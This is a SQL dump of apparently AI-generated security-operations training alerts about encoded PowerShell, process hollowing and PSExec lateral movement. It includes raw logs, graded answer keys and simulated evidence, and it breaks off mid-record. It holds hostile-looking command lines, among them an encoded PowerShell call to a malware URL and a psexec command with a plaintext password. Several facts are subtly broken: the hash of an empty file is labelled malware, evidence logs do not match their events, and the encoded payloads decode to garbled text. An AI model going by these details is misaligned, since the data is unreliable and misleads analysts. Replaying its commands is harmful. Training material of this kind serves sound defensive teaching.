INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1737, 'Suspicious PowerShell Activity Observed', 'medium', 'Carbon Black', 'PowerShell executed a script with encoded commands, which may indicate malicious intent.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:55:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"\",\"username\":\"mbrown\",\"hostname\":\"workstation-45\",\"command_line\":\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell commands often indicate obfuscation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, further investigation needed\"}}],\"expected_actions\":[\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is indicative of potential evasive techniques.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1738, 'Potential Process Hollowing Detected in Legitimate Process', 'high', 'Sysmon', 'Process hollowing detected in a legitimate process, indicating possible covert malware activity.', 'Malware', 'T1055', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"\",\"username\":\"tjohnson\",\"hostname\":\"workstation-10\",\"command_line\":\"svchost.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"svchost.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Process hollowing detected, svchost.exe used for malicious purposes\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware exploiting process hollowing\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address suggests an internal compromise\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is used to inject malicious code into legitimate processes, often to avoid detection.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1739, 'False Positive PowerShell Execution', 'low', 'Carbon Black', 'A PowerShell script executed with encoded commands was flagged, but investigation revealed it was a legitimate administrative task.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:15:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.20\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"admin-workstation\",\"command_line\":\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Confirmed as a legitimate administrative task\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP, confirmed as administrative workstation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command was part of a routine system maintenance script executed by the IT department.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1740, 'Unusual PowerShell Script Execution', 'medium', 'CrowdStrike', 'A PowerShell script executed with encoded commands, but matches known IT maintenance patterns.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:40:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.30\",\"dst_ip\":\"\",\"username\":\"it_support\",\"hostname\":\"it-workstation\",\"command_line\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaQBuAHYAbwBrAGUAIABzAHkAcwB0AGUAbQAgAHUAcABkAGEAdABlACIA\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaQBuAHYAbwBrAGUAIABzAHkAcwB0AGUAbQAgAHUAcABkAGEAdABlACIA\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Matches known IT maintenance scripts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to IT support workstation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was part of a scheduled IT maintenance task.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1741, 'Potential Malware Command Execution via PowerShell', 'high', 'SentinelOne', 'PowerShell executed a suspicious encoded command that may be indicative of malware activity.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:10:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.55\",\"dst_ip\":\"\",\"username\":\"dlee\",\"hostname\":\"workstation-55\",\"command_line\":\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command linked to known malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potential victim of malware attack\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a suspicious encoded PowerShell script suggests malware involvement.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1742, 'APT41 Lateral Movement Detected via PSExec', 'critical', 'ThreatConnect', 'Suspicious PSExec execution detected from an internal IP, mimicking APT41 techniques. Internal lateral movement observed.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.100.23\",\"dst_ip\":\"192.168.100.45\",\"username\":\"domain\\\\admin_user\",\"hostname\":\"CORP-SERVER-01\",\"command_line\":\"psexec \\\\\\\\192.168.100.45 -u domain\\\\admin_user -p Password123 cmd.exe\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.100.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Target internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.100.45 -u domain\\\\admin_user -p Password123 cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PSExec command indicative of lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec is commonly used for lateral movement by APT41, indicating a potential breach.\"}', 'Advanced', 'TI', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 